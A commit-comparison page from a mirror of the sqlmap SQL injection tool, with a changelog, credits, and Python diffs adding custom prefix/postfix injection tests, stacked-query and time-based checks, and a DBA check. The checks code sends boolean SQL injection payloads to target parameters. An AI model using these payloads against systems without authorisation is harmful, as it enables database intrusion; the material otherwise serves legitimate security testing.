mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
67 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
68354be45a | ||
|
|
afbd66f6d9 | ||
|
|
d0d6632c22 | ||
|
|
3fe493b63d | ||
|
|
c32ef9d751 | ||
|
|
2efb3ae2ba | ||
|
|
6dec56d616 | ||
|
|
bb9079aa9d | ||
|
|
94c79e3209 | ||
|
|
dda62ba463 | ||
|
|
7b55840b35 | ||
|
|
ec11f502df | ||
|
|
36d9ede001 | ||
|
|
b7f2602b50 | ||
|
|
2b0ec1868d | ||
|
|
4156181367 | ||
|
|
05a8c8d3bf | ||
|
|
bf2a857b9a | ||
|
|
072eb7154c | ||
|
|
9dbad512f1 | ||
|
|
15542d2772 | ||
|
|
38c9627700 | ||
|
|
78e8a83c11 | ||
|
|
7f055924a7 | ||
|
|
0f07e33e1a | ||
|
|
e3ddbe751f | ||
|
|
4cb161ce4f | ||
|
|
b700485a1b | ||
|
|
578bcb9140 | ||
|
|
f97585c593 | ||
|
|
e75487a26c | ||
|
|
e2a805ef6a | ||
|
|
a777f1ca35 | ||
|
|
034a3f387a | ||
|
|
3cf1658532 | ||
|
|
428612b431 | ||
|
|
beea58f2e9 | ||
|
|
e967b13378 | ||
|
|
6e548eb2ec | ||
|
|
785352d700 | ||
|
|
dc1f2deb74 | ||
|
|
f2737ad0a3 | ||
|
|
9be844cf3e | ||
|
|
80425c9ccd | ||
|
|
8f74fe2ce9 | ||
|
|
736b2e7323 | ||
|
|
727664aea7 | ||
|
|
7d0724843f | ||
|
|
66fb3c3033 | ||
|
|
7d7170fc97 | ||
|
|
654aecedfe | ||
|
|
fa0507ab39 | ||
|
|
84cbc60659 | ||
|
|
4bf1fcb8ec | ||
|
|
0bd5b52d95 | ||
|
|
ecc4a98071 | ||
|
|
9329f8c9c4 | ||
|
|
81ed7c2086 | ||
|
|
13f76cfe3b | ||
|
|
e1385eb2bf | ||
|
|
0c5d3df546 | ||
|
|
544ced52b5 | ||
|
|
2a01de3f0b | ||
|
|
be599d5a33 | ||
|
|
359b28bbaf | ||
|
|
0f79ec0088 | ||
|
|
278f0aad7c |
@@ -1,3 +1,72 @@
|
||||
sqlmap (0.6.4-1) stable; urgency=low
|
||||
|
||||
* Minor enhancement to support an option (--is-dba) to show if the
|
||||
current user is a database management system administrator;
|
||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||
and one of them is not reachable;
|
||||
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||
provided;
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
|
||||
|
||||
sqlmap (0.6.3-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to get list of targets to test from Burp proxy
|
||||
(http://portswigger.net/suite/) requests log file path or WebScarab
|
||||
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
'conversations/' folder path by providing option -l <filepath>;
|
||||
* Major enhancement to support Partial UNION query SQL injection
|
||||
technique too;
|
||||
* Major enhancement to test if the web application technology supports
|
||||
stacked queries (multiple statements) by providing option
|
||||
--stacked-test which will be then used someday also by takeover
|
||||
functionality;
|
||||
* Major enhancement to test if the injectable parameter is affected by
|
||||
a time based blind SQL injection technique by providing option
|
||||
--time-test;
|
||||
* Minor enhancement to fingerprint the web server operating system and
|
||||
the web application technology by parsing some HTTP response headers;
|
||||
* Minor enhancement to fingerprint the back-end DBMS operating system by
|
||||
parsing the DBMS banner value when -b option is provided;
|
||||
* Minor enhancement to be able to specify the number of seconds before
|
||||
timeout the connection by providing option --timeout #, default is set
|
||||
to 10 seconds and must be 3 or higher;
|
||||
* Minor enhancement to be able to specify the number of seconds to wait
|
||||
between each HTTP request by providing option --delay #;
|
||||
* Minor enhancement to be able to get the injection payload --prefix and
|
||||
--postfix from user;
|
||||
* Minor enhancement to be able to enumerate table columns and dump table
|
||||
entries, also when the database name is not provided, by using the
|
||||
current database on MySQL and Microsoft SQL Server, the 'public'
|
||||
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
|
||||
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
|
||||
options rather than only --string when comparing HTTP responses page
|
||||
content;
|
||||
* Minor enhancement to be able to specify extra HTTP headers by providing
|
||||
option --headers. By default Accept, Accept-Language and Accept-Charset
|
||||
headers are set;
|
||||
* Minor improvement to be able to provide CU (as current user) as user
|
||||
value (-U) when enumerating users privileges or users passwords;
|
||||
* Minor improvements to sqlmap Debian package files;
|
||||
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
|
||||
library if available to speed up the sqlmap algorithmic operations;
|
||||
* Minor improvement to retry the HTTP request up to three times in case
|
||||
an exception is raised during the connection to the target url;
|
||||
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
|
||||
* Major bug fix so that when the user provide a SELECT statement to be
|
||||
processed with an asterisk as columns, now it also work if in the FROM
|
||||
there is no database name specified;
|
||||
* Minor bug fix to correctly dump table entries when the column is
|
||||
provided;
|
||||
* Minor bug fix to correctly handle session.error, session.timeout and
|
||||
httplib.BadStatusLine exceptions in HTTP requests;
|
||||
* Minor bug fix to correctly catch connection exceptions and notify to
|
||||
the user also if they occur within a thread;
|
||||
* Increased default output level from 0 to 1;
|
||||
* Updated documentation.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
|
||||
|
||||
sqlmap (0.6.2-1) stable; urgency=low
|
||||
|
||||
* Major bug fix to correctly dump tables entries when --stop is not
|
||||
@@ -12,6 +81,7 @@ sqlmap (0.6.2-1) stable; urgency=low
|
||||
variable) is an integer and, for some reasons, its resumed value from
|
||||
the session file is a string or a binary file, the query is executed
|
||||
again and its new output saved to the session file;
|
||||
* Minor bug fix in MySQL comment injection fingerprint technique;
|
||||
* Minor improvement to correctly enumerate tables, columns and dump
|
||||
tables entries on Oracle and on PostgreSQL when the database name is
|
||||
not 'public' schema or a system database;
|
||||
@@ -19,11 +89,10 @@ sqlmap (0.6.2-1) stable; urgency=low
|
||||
database name, table name and column(s) are provided;
|
||||
* Updated the database management system fingerprint checks to correctly
|
||||
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
|
||||
* More user-friendly warnin messages.
|
||||
* More user-friendly warning messages.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
|
||||
|
||||
|
||||
sqlmap (0.6.1-1) stable; urgency=low
|
||||
|
||||
* Major bug fix to blind SQL injection bisection algorithm to handle an
|
||||
@@ -45,7 +114,6 @@ sqlmap (0.6.1-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
|
||||
|
||||
|
||||
sqlmap (0.6-1) stable; urgency=low
|
||||
|
||||
* Complete code refactor and many bugs fixed;
|
||||
@@ -111,7 +179,6 @@ sqlmap (0.6-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.5-1) stable; urgency=low
|
||||
|
||||
* Added support for Oracle database management system
|
||||
@@ -159,7 +226,6 @@ sqlmap (0.5-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.4-1) stable; urgency=low
|
||||
|
||||
* Added DBMS fingerprint based also upon HTML error messages parsing
|
||||
@@ -188,14 +254,14 @@ sqlmap (0.4-1) stable; urgency=low
|
||||
the remote DBMS;
|
||||
* Major improvements in union.UnionCheck() and union.UnionUse()
|
||||
functions to make it possible to exploit inband SQL injection also
|
||||
with database comment characters ('--' and '#') in UNION SELECT
|
||||
with database comment characters ('--' and '#') in UNION query
|
||||
statements;
|
||||
* Added the possibility to save the output into a file while performing
|
||||
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
|
||||
same query output retrieving in a second time (--resume);
|
||||
* Added support to specify the database table column to enumerate
|
||||
(-C COL);
|
||||
* Added inband SQL injection (UNION SELECT) support (--union-use);
|
||||
* Added inband SQL injection (UNION query) support (--union-use);
|
||||
* Complete code refactoring, a lot of minor and some major fixes in
|
||||
libraries, many minor improvements;
|
||||
* Reviewed the directory tree structure;
|
||||
@@ -205,7 +271,6 @@ sqlmap (0.4-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.3-1) stable; urgency=low
|
||||
|
||||
* Added module for MS SQL Server;
|
||||
@@ -226,7 +291,6 @@ sqlmap (0.3-1) stable; urgency=low
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
|
||||
|
||||
|
||||
sqlmap (0.2-1) stable; urgency=low
|
||||
|
||||
* complete refactor of entire program;
|
||||
|
||||
2759
doc/README.html
2759
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
2671
doc/README.sgml
2671
doc/README.sgml
File diff suppressed because it is too large
Load Diff
36
doc/THANKS
36
doc/THANKS
@@ -5,16 +5,26 @@ Chip Andrews <chip@sqlsecurity.com>
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Jack Butler <fattredd@hotmail.com>
|
||||
for providing me with the sqlmap site favicon
|
||||
|
||||
Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
algorithm
|
||||
|
||||
Pierre Chifflier <pollux@debian.org>
|
||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
||||
project repository
|
||||
|
||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||
for suggesting good features
|
||||
|
||||
Adam Faheem <faheem.adam@is.co.za>
|
||||
for reporting a few bugs
|
||||
|
||||
Jim Forster <jimforster@goldenwest.com>
|
||||
for reporting a bug
|
||||
|
||||
Rong-En Fan <rafan@freebsd.org>
|
||||
for commiting the sqlmap 0.5 port to the official FreeBSD project
|
||||
repository
|
||||
@@ -26,6 +36,7 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
|
||||
Ivan Giacomelli <truemilk@insiberia.net>
|
||||
for reporting a bug
|
||||
for suggesting a minor enhancement
|
||||
for reviewing the documentation
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
for suggesting an enhancement
|
||||
@@ -44,6 +55,12 @@ Will Holcomb <wholcomb@gmail.com>
|
||||
Luke Jahnke <luke.jahnke@gmail.com>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||
for providing me with feedback on the user's manual
|
||||
|
||||
Nico Leidecker <nico@leidecker.info>
|
||||
for providing me with feedback on a few features
|
||||
|
||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||
for reporting a bug when injecting on a POST data parameter
|
||||
|
||||
@@ -52,6 +69,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
|
||||
for providing really appreciated feedback
|
||||
for suggesting a lot of ideas and features
|
||||
|
||||
Ferruh Mavituna <ferruh@mavituna.com>
|
||||
for providing me with ideas on the implementation on a couple of
|
||||
new features
|
||||
|
||||
Enrico Milanese <enricomilanese@gmail.com>
|
||||
for reporting a bugs when using (-a) a single line User-Agent file
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
@@ -88,12 +109,24 @@ Richard Safran <allapplyhere@yahoo.com>
|
||||
Tomoyuki Sakurai <cherry@trombik.org>
|
||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||
|
||||
Philippe A. R. Schaeffer <schaeff@compuphil.de>
|
||||
for reporting a minor bug
|
||||
|
||||
Sven Schluter <sschlueter@netzwerk.cc>
|
||||
for providing with a patch for waiting a number of seconds between
|
||||
each HTTP request
|
||||
|
||||
M Simkin <mlsimkin@cox.net>
|
||||
for suggesting a feature
|
||||
|
||||
Jason Swan <jasoneswan@gmail.com>
|
||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||
for suggesting a couple of improvements
|
||||
|
||||
Alessandro Tanasi <alessandro@tanasi.it>
|
||||
for extensively beta-testing sqlmap
|
||||
for suggesting many features and reporting some bugs
|
||||
for reviewing the documentation
|
||||
|
||||
Efrain Torres <et@metasploit.com>
|
||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||
@@ -110,6 +143,9 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
|
||||
for benchmarking sqlmap in the context of his SQL injection
|
||||
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
||||
|
||||
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
|
||||
for reporting an unhandled connection exception
|
||||
|
||||
fufuh <fufuh@users.sourceforge.net>
|
||||
for reporting a bug when running on Windows
|
||||
|
||||
|
||||
@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
|
||||
the example below.
|
||||
|
||||
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
|
||||
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to
|
||||
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch
|
||||
msfconsole because this module has been officially integrated in Metasploit
|
||||
from the release 3.2.
|
||||
through WMAP framework you first need to install sqlmap on your system or
|
||||
add its file system path to the PATH environment variable.
|
||||
|
||||
|
||||
$ ./msfconsole
|
||||
|
||||
|
||||
@@ -31,7 +31,9 @@ from lib.core.data import kb
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.techniques.blind.timebased import timeTest
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
def action():
|
||||
@@ -66,9 +68,15 @@ def action():
|
||||
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
print "%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
|
||||
# Techniques options
|
||||
if conf.stackedTest:
|
||||
dumper.string("stacked queries support", stackedTest())
|
||||
|
||||
if conf.timeTest:
|
||||
dumper.string("time based blind sql injection payload", timeTest())
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.unionTest:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
@@ -82,6 +90,9 @@ def action():
|
||||
if conf.getCurrentDb:
|
||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||
|
||||
if conf.isDba:
|
||||
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
|
||||
|
||||
if conf.getUsers:
|
||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||
|
||||
|
||||
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
@@ -35,6 +36,7 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.session import setString
|
||||
from lib.core.session import setRegexp
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
@@ -49,13 +51,49 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
* Double quoted string injection
|
||||
"""
|
||||
|
||||
logMsg = "testing unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if conf.prefix or conf.postfix:
|
||||
prefix = ""
|
||||
postfix = ""
|
||||
|
||||
if conf.prefix:
|
||||
prefix = conf.prefix
|
||||
|
||||
if conf.postfix:
|
||||
postfix = conf.postfix
|
||||
|
||||
infoMsg = "testing custom injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
infoMsg = "confirming custom injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "custom injectable "
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "custom"
|
||||
|
||||
infoMsg = "testing unescaped numeric injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
@@ -64,148 +102,148 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming unescaped numeric injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "unescaped numeric injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "numeric"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "unescaped numeric injectable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
logMsg = "testing single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "stringsingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "single quoted string injectable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
logMsg = "testing LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing LIKE single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming LIKE single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "likesingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "LIKE single quoted string injectable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
logMsg = "testing double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "stringdouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "double quoted string injectable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
logMsg = "testing LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing LIKE double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming LIKE double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
return "likedouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "LIKE double quoted string injectable"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return None
|
||||
|
||||
@@ -217,8 +255,8 @@ def checkDynParam(place, parameter, value):
|
||||
dynamicity might depend on another parameter.
|
||||
"""
|
||||
|
||||
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, str(randInt))
|
||||
@@ -227,8 +265,8 @@ def checkDynParam(place, parameter, value):
|
||||
if kb.defaultResult == dynResult1:
|
||||
return False
|
||||
|
||||
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
||||
dynResult2 = Request.queryPage(payload, place)
|
||||
@@ -253,20 +291,76 @@ def checkStability():
|
||||
like for instance string matching (--string).
|
||||
"""
|
||||
|
||||
logMsg = "testing if the url is stable, wait a few seconds"
|
||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(infoMsg)
|
||||
|
||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||
time.sleep(0.5)
|
||||
|
||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||
time.sleep(0.5)
|
